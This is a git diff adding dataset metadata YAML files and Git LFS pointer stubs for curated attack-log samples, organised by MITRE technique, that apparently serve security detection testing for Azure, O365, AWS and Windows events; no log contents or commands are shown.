sha256:aff6198be1ded2c3d1bbce45745996b541181b8fb3c5af6887be357627f25d4a +size 1686 diff --git a/datasets/attack_techniques/T1136.003/azure_ad_multiple_service_principals_created/T1136.003_azure_ad_multiple_service_principals_created.yml b/datasets/attack_techniques/T1136.003/azure_ad_multiple_service_principals_created/T1136.003_azure_ad_multiple_service_principals_created.yml new file mode 100644 index 000000000..611d6cee8 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/azure_ad_multiple_service_principals_created/T1136.003_azure_ad_multiple_service_principals_created.yml @@ -0,0 +1,13 @@ +author: STRT +id: 06d7bcc2-e983-481b-84ad-b3ac9f7dbabf +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Multiple Service + Principals Created by SP +environment: attack_range +directory: azure_ad_multiple_service_principals_created +mitre_technique: [] +datasets: +- name: azure_ad_multiple_service_principals_created + path: /datasets/attack_techniques/T1136.003/azure_ad_multiple_service_principals_created/azure_ad_multiple_service_principals_created-06d7bcc2-e983-481b-84ad-b3ac9f7dbabf.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1136.003/azure_ad_multiple_service_principals_created/azure_ad_multiple_service_principals_created-06d7bcc2-e983-481b-84ad-b3ac9f7dbabf.log b/datasets/attack_techniques/T1136.003/azure_ad_multiple_service_principals_created/azure_ad_multiple_service_principals_created-06d7bcc2-e983-481b-84ad-b3ac9f7dbabf.log new file mode 100644 index 000000000..fa2d8a4ab --- /dev/null +++ b/datasets/attack_techniques/T1136.003/azure_ad_multiple_service_principals_created/azure_ad_multiple_service_principals_created-06d7bcc2-e983-481b-84ad-b3ac9f7dbabf.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:947f3ea5df960db36e2ba81b93c50bac2fba6efa7102b10a2f793f5aabb8cd13 +size 13686 diff --git a/datasets/attack_techniques/T1136.003/azure_automation_account/T1136.003_azure_automation_account.yml b/datasets/attack_techniques/T1136.003/azure_automation_account/T1136.003_azure_automation_account.yml new file mode 100644 index 000000000..413847566 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/azure_automation_account/T1136.003_azure_automation_account.yml @@ -0,0 +1,13 @@ +author: STRT +id: 57f86758-9d43-48b0-8494-aaa6004d960a +date: '2026-07-10' +description: Curated attack data generated for detection Azure Automation Account + Created +environment: attack_range +directory: azure_automation_account +mitre_technique: [] +datasets: +- name: azure-activity + path: /datasets/attack_techniques/T1136.003/azure_automation_account/azure-activity-57f86758-9d43-48b0-8494-aaa6004d960a.log + sourcetype: mscs:azure:audit + source: mscs:azure:audit diff --git a/datasets/attack_techniques/T1136.003/azure_automation_account/azure-activity-57f86758-9d43-48b0-8494-aaa6004d960a.log b/datasets/attack_techniques/T1136.003/azure_automation_account/azure-activity-57f86758-9d43-48b0-8494-aaa6004d960a.log new file mode 100644 index 000000000..ae8c00221 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/azure_automation_account/azure-activity-57f86758-9d43-48b0-8494-aaa6004d960a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9cf2ab4d8720a7416b7bfa5c340ae763cd9ca747d0e037f9ce0f5e91312a0ada +size 3675 diff --git a/datasets/attack_techniques/T1136.003/o365_added_service_principal/T1136.003_o365_added_service_principal.yml b/datasets/attack_techniques/T1136.003/o365_added_service_principal/T1136.003_o365_added_service_principal.yml new file mode 100644 index 000000000..e1c99a6c1 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/o365_added_service_principal/T1136.003_o365_added_service_principal.yml @@ -0,0 +1,12 @@ +author: STRT +id: 35593cbb-996a-43fa-baa7-a6d4f3d93df7 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Added Service Principal +environment: attack_range +directory: o365_added_service_principal +mitre_technique: [] +datasets: +- name: o365_add_service_principal + path: /datasets/attack_techniques/T1136.003/o365_added_service_principal/o365_add_service_principal-35593cbb-996a-43fa-baa7-a6d4f3d93df7.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1136.003/o365_added_service_principal/o365_add_service_principal-35593cbb-996a-43fa-baa7-a6d4f3d93df7.log b/datasets/attack_techniques/T1136.003/o365_added_service_principal/o365_add_service_principal-35593cbb-996a-43fa-baa7-a6d4f3d93df7.log new file mode 100644 index 000000000..c92351ad5 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/o365_added_service_principal/o365_add_service_principal-35593cbb-996a-43fa-baa7-a6d4f3d93df7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:29a764cc13860a4e35508aef1dfa8d177f05230a2dee66a7a1c70b80f87757c9 +size 40131 diff --git a/datasets/attack_techniques/T1136.003/o365_multiple_service_principals_created/T1136.003_o365_multiple_service_principals_created.yml b/datasets/attack_techniques/T1136.003/o365_multiple_service_principals_created/T1136.003_o365_multiple_service_principals_created.yml new file mode 100644 index 000000000..4bf0919d3 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/o365_multiple_service_principals_created/T1136.003_o365_multiple_service_principals_created.yml @@ -0,0 +1,13 @@ +author: STRT +id: a7ebe6a0-3155-4858-becc-b73d1894bf56 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Multiple Service Principals + Created by SP +environment: attack_range +directory: o365_multiple_service_principals_created +mitre_technique: [] +datasets: +- name: o365_multiple_service_principals_created + path: /datasets/attack_techniques/T1136.003/o365_multiple_service_principals_created/o365_multiple_service_principals_created-a7ebe6a0-3155-4858-becc-b73d1894bf56.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1136.003/o365_multiple_service_principals_created/o365_multiple_service_principals_created-a7ebe6a0-3155-4858-becc-b73d1894bf56.log b/datasets/attack_techniques/T1136.003/o365_multiple_service_principals_created/o365_multiple_service_principals_created-a7ebe6a0-3155-4858-becc-b73d1894bf56.log new file mode 100644 index 000000000..4543e2bdf --- /dev/null +++ b/datasets/attack_techniques/T1136.003/o365_multiple_service_principals_created/o365_multiple_service_principals_created-a7ebe6a0-3155-4858-becc-b73d1894bf56.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f7b33d5002143fad8ba22524b49d8e064b62e2ea02bf3287ce2e5b9a976f6eb6 +size 15904 diff --git a/datasets/attack_techniques/T1136.003/o365_new_federated_domain_added/T1136.003_o365_new_federated_domain_added.yml b/datasets/attack_techniques/T1136.003/o365_new_federated_domain_added/T1136.003_o365_new_federated_domain_added.yml new file mode 100644 index 000000000..9d158bdf0 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/o365_new_federated_domain_added/T1136.003_o365_new_federated_domain_added.yml @@ -0,0 +1,13 @@ +author: STRT +id: d8911fa6-b2d6-4b15-835a-8ed19faa8e20 +date: '2026-07-10' +description: Curated attack data generated for detection O365 New Federated Domain + Added +environment: attack_range +directory: o365_new_federated_domain_added +mitre_technique: [] +datasets: +- name: o365_add_federated_domain + path: /datasets/attack_techniques/T1136.003/o365_new_federated_domain_added/o365_add_federated_domain-d8911fa6-b2d6-4b15-835a-8ed19faa8e20.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1136.003/o365_new_federated_domain_added/o365_add_federated_domain-d8911fa6-b2d6-4b15-835a-8ed19faa8e20.log b/datasets/attack_techniques/T1136.003/o365_new_federated_domain_added/o365_add_federated_domain-d8911fa6-b2d6-4b15-835a-8ed19faa8e20.log new file mode 100644 index 000000000..a464433a0 --- /dev/null +++ b/datasets/attack_techniques/T1136.003/o365_new_federated_domain_added/o365_add_federated_domain-d8911fa6-b2d6-4b15-835a-8ed19faa8e20.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:869657dfd6c84e3760c6e95d3c81a3160c3127143a76999835398abc6be9c820 +size 1634 diff --git a/datasets/attack_techniques/T1136.003/o365_new_federation/T1136.003_o365_new_federation.yml b/datasets/attack_techniques/T1136.003/o365_new_federation/T1136.003_o365_new_federation.yml new file mode 100644 index 000000000..745f4b46b --- /dev/null +++ b/datasets/attack_techniques/T1136.003/o365_new_federation/T1136.003_o365_new_federation.yml @@ -0,0 +1,13 @@ +author: STRT +id: 51ab6c65-a1ae-47d8-b9c4-53bf35a534f5 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Add App Role Assignment + Grant User +environment: attack_range +directory: o365_new_federation +mitre_technique: [] +datasets: +- name: o365_new_federation + path: /datasets/attack_techniques/T1136.003/o365_new_federation/o365_new_federation-51ab6c65-a1ae-47d8-b9c4-53bf35a534f5.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1136.003/o365_new_federation/o365_new_federation-51ab6c65-a1ae-47d8-b9c4-53bf35a534f5.log b/datasets/attack_techniques/T1136.003/o365_new_federation/o365_new_federation-51ab6c65-a1ae-47d8-b9c4-53bf35a534f5.log new file mode 100644 index 000000000..6bc85ce6d --- /dev/null +++ b/datasets/attack_techniques/T1136.003/o365_new_federation/o365_new_federation-51ab6c65-a1ae-47d8-b9c4-53bf35a534f5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ade0973d09f26a4c25220a0b8ade470fb8cfce6556826c2811da7d61387c9c1b +size 58055 diff --git a/datasets/attack_techniques/T1136/snapattack/T1136_snapattack.yml b/datasets/attack_techniques/T1136/snapattack/T1136_snapattack.yml new file mode 100644 index 000000000..da066ad0a --- /dev/null +++ b/datasets/attack_techniques/T1136/snapattack/T1136_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7c9bb6d6-fc8f-4c81-a5ec-35c99b69c65e +date: '2026-07-11' +description: Curated attack data generated for detection Windows Entra User Management + Via Azure CLI +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1136/snapattack/snapattack-7c9bb6d6-fc8f-4c81-a5ec-35c99b69c65e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1136/snapattack/snapattack-7c9bb6d6-fc8f-4c81-a5ec-35c99b69c65e.log b/datasets/attack_techniques/T1136/snapattack/snapattack-7c9bb6d6-fc8f-4c81-a5ec-35c99b69c65e.log new file mode 100644 index 000000000..b6e1a6e98 --- /dev/null +++ b/datasets/attack_techniques/T1136/snapattack/snapattack-7c9bb6d6-fc8f-4c81-a5ec-35c99b69c65e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bb5dab1e94415268808844c5049ce831ddbb0af17e402155ca7b86f16ef68087 +size 1750 diff --git a/datasets/attack_techniques/T1140/atomic_red_team/T1140_atomic_red_team.yml b/datasets/attack_techniques/T1140/atomic_red_team/T1140_atomic_red_team.yml new file mode 100644 index 000000000..b6a9085e3 --- /dev/null +++ b/datasets/attack_techniques/T1140/atomic_red_team/T1140_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: f793d36a-54f0-4083-b488-625dffa63dd5 +date: '2026-07-11' +description: Curated attack data generated for detection CertUtil With Decode Argument +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1140/atomic_red_team/windows-sysmon-f793d36a-54f0-4083-b488-625dffa63dd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: expand_windows-sysmon + path: /datasets/attack_techniques/T1140/atomic_red_team/expand_windows-sysmon-f793d36a-54f0-4083-b488-625dffa63dd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1140/atomic_red_team/expand_windows-sysmon-f793d36a-54f0-4083-b488-625dffa63dd5.log b/datasets/attack_techniques/T1140/atomic_red_team/expand_windows-sysmon-f793d36a-54f0-4083-b488-625dffa63dd5.log new file mode 100644 index 000000000..02805f96b --- /dev/null +++ b/datasets/attack_techniques/T1140/atomic_red_team/expand_windows-sysmon-f793d36a-54f0-4083-b488-625dffa63dd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:78f324f4e06ad5b6af4a97901e5af15e13630ef4cf854da14cb2920d2ebe9248 +size 15732 diff --git a/datasets/attack_techniques/T1140/atomic_red_team/windows-sysmon-f793d36a-54f0-4083-b488-625dffa63dd5.log b/datasets/attack_techniques/T1140/atomic_red_team/windows-sysmon-f793d36a-54f0-4083-b488-625dffa63dd5.log new file mode 100644 index 000000000..1c9384119 --- /dev/null +++ b/datasets/attack_techniques/T1140/atomic_red_team/windows-sysmon-f793d36a-54f0-4083-b488-625dffa63dd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9026d6f2cb36ca3d23d237db781c7886ea33f4b7284f9ef9402efb68f47b1b0f +size 8541 diff --git a/datasets/attack_techniques/T1176.001/disable_extension/T1176.001_disable_extension.yml b/datasets/attack_techniques/T1176.001/disable_extension/T1176.001_disable_extension.yml new file mode 100644 index 000000000..436bba72b --- /dev/null +++ b/datasets/attack_techniques/T1176.001/disable_extension/T1176.001_disable_extension.yml @@ -0,0 +1,13 @@ +author: STRT +id: 52691931-41de-404b-9798-f7fe02f8ea61 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Disable Internet + Explorer Addons +environment: attack_range +directory: disable_extension +mitre_technique: [] +datasets: +- name: iexplore-extoff + path: /datasets/attack_techniques/T1176.001/disable_extension/iexplore-extoff-52691931-41de-404b-9798-f7fe02f8ea61.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1176.001/disable_extension/iexplore-extoff-52691931-41de-404b-9798-f7fe02f8ea61.log b/datasets/attack_techniques/T1176.001/disable_extension/iexplore-extoff-52691931-41de-404b-9798-f7fe02f8ea61.log new file mode 100644 index 000000000..748a97b59 --- /dev/null +++ b/datasets/attack_techniques/T1176.001/disable_extension/iexplore-extoff-52691931-41de-404b-9798-f7fe02f8ea61.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cc7b4974ec7766f5f265d139bc771112ead61d2bc4b1f7fa0da022ab34a3727e +size 2055 diff --git a/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/T1185_aws_concurrent_sessions_from_different_ips.yml b/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/T1185_aws_concurrent_sessions_from_different_ips.yml new file mode 100644 index 000000000..f8b147c4c --- /dev/null +++ b/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/T1185_aws_concurrent_sessions_from_different_ips.yml @@ -0,0 +1,17 @@ +author: STRT +id: 530041e0-7a2c-4afe-a613-190f2dc9d042 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Concurrent Sessions + From Different Ips +environment: attack_range +directory: aws_concurrent_sessions_from_different_ips +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/asl_ocsf_cloudtrail-530041e0-7a2c-4afe-a613-190f2dc9d042.log + sourcetype: aws:asl + source: aws_asl +- name: cloudtrail + path: /datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/cloudtrail-530041e0-7a2c-4afe-a613-190f2dc9d042.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/asl_ocsf_cloudtrail-530041e0-7a2c-4afe-a613-190f2dc9d042.log b/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/asl_ocsf_cloudtrail-530041e0-7a2c-4afe-a613-190f2dc9d042.log new file mode 100644 index 000000000..be722c0e2 --- /dev/null +++ b/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/asl_ocsf_cloudtrail-530041e0-7a2c-4afe-a613-190f2dc9d042.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e1085da670b3f20f32793aa887fe173ddd6dbba37f58fb2d217fc7694c792d14 +size 7306 diff --git a/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/cloudtrail-530041e0-7a2c-4afe-a613-190f2dc9d042.log b/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/cloudtrail-530041e0-7a2c-4afe-a613-190f2dc9d042.log new file mode 100644 index 000000000..46b0f424f --- /dev/null +++ b/datasets/attack_techniques/T1185/aws_concurrent_sessions_from_different_ips/cloudtrail-530041e0-7a2c-4afe-a613-190f2dc9d042.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8d46aa08f482ef5257b2e1fc2306277b0c4613daeb279f5a4e5c5f169b919c48 +size 2069 diff --git a/datasets/attack_techniques/T1185/azure_ad_concurrent_sessions_from_different_ips/T1185_azure_ad_concurrent_sessions_from_different_ips.yml b/datasets/attack_techniques/T1185/azure_ad_concurrent_sessions_from_different_ips/T1185_azure_ad_concurrent_sessions_from_different_ips.yml new file mode 100644 index 000000000..1c6a3d78e --- /dev/null +++ b/datasets/attack_techniques/T1185/azure_ad_concurrent_sessions_from_different_ips/T1185_azure_ad_concurrent_sessions_from_different_ips.yml @@ -0,0 +1,13 @@ +author: STRT +id: b080811a-11cf-473d-9aa9-d2af476322b4 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Concurrent Sessions + From Different Ips +environment: attack_range +directory: azure_ad_concurrent_sessions_from_different_ips +mitre_technique: [] +datasets: +- name: azuread + path: /datasets/attack_techniques/T1185/azure_ad_concurrent_sessions_from_different_ips/azuread-b080811a-11cf-473d-9aa9-d2af476322b4.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1185/azure_ad_concurrent_sessions_from_different_ips/azuread-b080811a-11cf-473d-9aa9-d2af476322b4.log b/datasets/attack_techniques/T1185/azure_ad_concurrent_sessions_from_different_ips/azuread-b080811a-11cf-473d-9aa9-d2af476322b4.log new file mode 100644 index 000000000..ff8960e12 --- /dev/null +++ b/datasets/attack_techniques/T1185/azure_ad_concurrent_sessions_from_different_ips/azuread-b080811a-11cf-473d-9aa9-d2af476322b4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bf6a94036aa055c641259784e5d01226cbc57bb1e5fcd6099d6ea24dfbcef5de +size 75840 diff --git a/datasets/attack_techniques/T1185/browser_unusual_flag/T1185_browser_unusual_flag.yml b/datasets/attack_techniques/T1185/browser_unusual_flag/T1185_browser_unusual_flag.yml new file mode 100644 index 000000000..592e6a654 --- /dev/null +++ b/datasets/attack_techniques/T1185/browser_unusual_flag/T1185_browser_unusual_flag.yml @@ -0,0 +1,13 @@ +author: STRT +id: 81c5968e-e90b-48dd-9664-d7f092684a9f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Browser Process Launched + with Unusual Flags +environment: attack_range +directory: browser_unusual_flag +mitre_technique: [] +datasets: +- name: castle_chrome_shell32 + path: /datasets/attack_techniques/T1185/browser_unusual_flag/castle_chrome_shell32-81c5968e-e90b-48dd-9664-d7f092684a9f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1185/browser_unusual_flag/castle_chrome_shell32-81c5968e-e90b-48dd-9664-d7f092684a9f.log b/datasets/attack_techniques/T1185/browser_unusual_flag/castle_chrome_shell32-81c5968e-e90b-48dd-9664-d7f092684a9f.log new file mode 100644 index 000000000..2046896dd --- /dev/null +++ b/datasets/attack_techniques/T1185/browser_unusual_flag/castle_chrome_shell32-81c5968e-e90b-48dd-9664-d7f092684a9f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:65b03ae889ff3e7dfa56776d8c5a34a94abf85d2ea51192e884cd506eb860a9b +size 3803 diff --git a/datasets/attack_techniques/T1185/chrome_allow_list/T1185_chrome_allow_list.yml b/datasets/attack_techniques/T1185/chrome_allow_list/T1185_chrome_allow_list.yml new file mode 100644 index 000000000..93b0cc917 --- /dev/null +++ b/datasets/attack_techniques/T1185/chrome_allow_list/T1185_chrome_allow_list.yml @@ -0,0 +1,13 @@ +author: STRT +id: fb349ff8-ac1a-4b23-8cf9-d3cd24b167ca +date: '2026-07-11' +description: Curated attack data generated for detection Windows Chrome Extension + Allowed Registry Modification +environment: attack_range +directory: chrome_allow_list +mitre_technique: [] +datasets: +- name: chrome_extension_allow_list + path: /datasets/attack_techniques/T1185/chrome_allow_list/chrome_extension_allow_list-fb349ff8-ac1a-4b23-8cf9-d3cd24b167ca.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1185/chrome_allow_list/chrome_extension_allow_list-fb349ff8-ac1a-4b23-8cf9-d3cd24b167ca.log b/datasets/attack_techniques/T1185/chrome_allow_list/chrome_extension_allow_list-fb349ff8-ac1a-4b23-8cf9-d3cd24b167ca.log new file mode 100644 index 000000000..0bb22f6da --- /dev/null +++ b/datasets/attack_techniques/T1185/chrome_allow_list/chrome_extension_allow_list-fb349ff8-ac1a-4b23-8cf9-d3cd24b167ca.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2c6f5c5c1da5097da736c0f0affc61c7a81e00c3fd80e049d7ebc0c9dec3e845 +size 2151 diff --git a/datasets/attack_techniques/T1185/chrome_load_extensions/T1185_chrome_load_extensions.yml b/datasets/attack_techniques/T1185/chrome_load_extensions/T1185_chrome_load_extensions.yml new file mode 100644 index 000000000..3a302030d --- /dev/null +++ b/datasets/attack_techniques/T1185/chrome_load_extensions/T1185_chrome_load_extensions.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4375d1bc-d10b-4857-93c3-ac539ee575dc +date: '2026-07-11' +description: Curated attack data generated for detection Windows Chrome Enable Extension + Loading via Command-Line +environment: attack_range +directory: chrome_load_extensions +mitre_technique: [] +datasets: +- name: chrome_load_extension + path: /datasets/attack_techniques/T1185/chrome_load_extensions/chrome_load_extension-4375d1bc-d10b-4857-93c3-ac539ee575dc.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1185/chrome_load_extensions/chrome_load_extension-4375d1bc-d10b-4857-93c3-ac539ee575dc.log b/datasets/attack_techniques/T1185/chrome_load_extensions/chrome_load_extension-4375d1bc-d10b-4857-93c3-ac539ee575dc.log new file mode 100644 index 000000000..4ce5d6760 --- /dev/null +++ b/datasets/attack_techniques/T1185/chrome_load_extensions/chrome_load_extension-4375d1bc-d10b-4857-93c3-ac539ee575dc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:020dd7a7e579a96448010515400a05edf009f8ae1d6f2b01aa4d848c2a4f8532 +size 2051 diff --git a/datasets/attack_techniques/T1185/disable_chrome_update/T1185_disable_chrome_update.yml b/datasets/attack_techniques/T1185/disable_chrome_update/T1185_disable_chrome_update.yml new file mode 100644 index 000000000..8c06707ae --- /dev/null +++ b/datasets/attack_techniques/T1185/disable_chrome_update/T1185_disable_chrome_update.yml @@ -0,0 +1,13 @@ +author: STRT +id: 840ebc7c-630f-47c8-8a70-b0b83d1dbc27 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Chrome Auto-Update + Disabled via Registry +environment: attack_range +directory: disable_chrome_update +mitre_technique: [] +datasets: +- name: disable_chrome_update + path: /datasets/attack_techniques/T1185/disable_chrome_update/disable_chrome_update-840ebc7c-630f-47c8-8a70-b0b83d1dbc27.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1185/disable_chrome_update/disable_chrome_update-840ebc7c-630f-47c8-8a70-b0b83d1dbc27.log b/datasets/attack_techniques/T1185/disable_chrome_update/disable_chrome_update-840ebc7c-630f-47c8-8a70-b0b83d1dbc27.log new file mode 100644 index 000000000..dae7b244a --- /dev/null +++ b/datasets/attack_techniques/T1185/disable_chrome_update/disable_chrome_update-840ebc7c-630f-47c8-8a70-b0b83d1dbc27.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2e3e61022896e1662c033d5952add6046216ac8038d0692df2b529b644d72717 +size 6426 diff --git a/datasets/attack_techniques/T1185/headlessbrowser/T1185_headlessbrowser.yml b/datasets/attack_techniques/T1185/headlessbrowser/T1185_headlessbrowser.yml new file mode 100644 index 000000000..2984b1544 --- /dev/null +++ b/datasets/attack_techniques/T1185/headlessbrowser/T1185_headlessbrowser.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9cac9ebd-7253-4a62-b5cc-1a369f11a6ab +date: '2026-07-10' +description: Curated attack data generated for detection Headless Browser Mockbin + or Mocky Request +environment: attack_range +directory: headlessbrowser +mitre_technique: [] +datasets: +- name: headless_mockbin + path: /datasets/attack_techniques/T1185/headlessbrowser/headless_mockbin-9cac9ebd-7253-4a62-b5cc-1a369f11a6ab.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1185/headlessbrowser/headless_mockbin-9cac9ebd-7253-4a62-b5cc-1a369f11a6ab.log b/datasets/attack_techniques/T1185/headlessbrowser/headless_mockbin-9cac9ebd-7253-4a62-b5cc-1a369f11a6ab.log new file mode 100644 index 000000000..84bbc96f3 --- /dev/null +++ b/datasets/attack_techniques/T1185/headlessbrowser/headless_mockbin-9cac9ebd-7253-4a62-b5cc-1a369f11a6ab.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d6f7ade1345d91f74cd2e08e07c9b6e2d863e66820ff5d2a8ce39b0f0fad45fe +size 26251 diff --git a/datasets/attack_techniques/T1185/o365_concurrent_sessions_from_different_ips/T1185_o365_concurrent_sessions_from_different_ips.yml b/datasets/attack_techniques/T1185/o365_concurrent_sessions_from_different_ips/T1185_o365_concurrent_sessions_from_different_ips.yml new file mode 100644 index 000000000..825888b34 --- /dev/null +++ b/datasets/attack_techniques/T1185/o365_concurrent_sessions_from_different_ips/T1185_o365_concurrent_sessions_from_different_ips.yml @@ -0,0 +1,13 @@ +author: STRT +id: c8a7bf1e-a9da-4010-8aaf-05ec82a5855d +date: '2026-07-10' +description: Curated attack data generated for detection O365 Concurrent Sessions + From Different Ips +environment: attack_range +directory: o365_concurrent_sessions_from_different_ips +mitre_technique: [] +datasets: +- name: o365_concurrent_sessions_from_different_ips + path: /datasets/attack_techniques/T1185/o365_concurrent_sessions_from_different_ips/o365_concurrent_sessions_from_different_ips-c8a7bf1e-a9da-4010-8aaf-05ec82a5855d.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1185/o365_concurrent_sessions_from_different_ips/o365_concurrent_sessions_from_different_ips-c8a7bf1e-a9da-4010-8aaf-05ec82a5855d.log b/datasets/attack_techniques/T1185/o365_concurrent_sessions_from_different_ips/o365_concurrent_sessions_from_different_ips-c8a7bf1e-a9da-4010-8aaf-05ec82a5855d.log new file mode 100644 index 000000000..20dbf6b8a --- /dev/null +++ b/datasets/attack_techniques/T1185/o365_concurrent_sessions_from_different_ips/o365_concurrent_sessions_from_different_ips-c8a7bf1e-a9da-4010-8aaf-05ec82a5855d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1246a03247813ef565d707864c68a14caf26334fb42fc68e95b83151b8c2894f +size 6160 diff --git a/datasets/attack_techniques/T1187/petitpotam/T1187_petitpotam.yml b/datasets/attack_techniques/T1187/petitpotam/T1187_petitpotam.yml new file mode 100644 index 000000000..abd4dc7a2 --- /dev/null +++ b/datasets/attack_techniques/T1187/petitpotam/T1187_petitpotam.yml @@ -0,0 +1,13 @@ +author: STRT +id: d67b3a22-508c-4b1f-baab-e4652b3fb18c +date: '2026-07-10' +description: Curated attack data generated for detection PetitPotam Suspicious Kerberos + TGT Request +environment: attack_range +directory: petitpotam +mitre_technique: [] +datasets: +- name: windows-xml-1 + path: /datasets/attack_techniques/T1187/petitpotam/windows-xml-1-d67b3a22-508c-4b1f-baab-e4652b3fb18c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1187/petitpotam/windows-xml-1-d67b3a22-508c-4b1f-baab-e4652b3fb18c.log b/datasets/attack_techniques/T1187/petitpotam/windows-xml-1-d67b3a22-508c-4b1f-baab-e4652b3fb18c.log new file mode 100644 index 000000000..72a5283fd --- /dev/null +++ b/datasets/attack_techniques/T1187/petitpotam/windows-xml-1-d67b3a22-508c-4b1f-baab-e4652b3fb18c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d4a6406499d7921ae8b6abab5d82cd1542f7ff3bd9e494d64c6be9b8b88cbb6d +size 1166 diff --git a/datasets/attack_techniques/T1187/snapattack/T1187_snapattack.yml b/datasets/attack_techniques/T1187/snapattack/T1187_snapattack.yml new file mode 100644 index 000000000..7a2dd1841 --- /dev/null +++ b/datasets/attack_techniques/T1187/snapattack/T1187_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: dbf1fea5-b10b-4ba7-ad14-c00e62386d00 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Theme File Creation + in 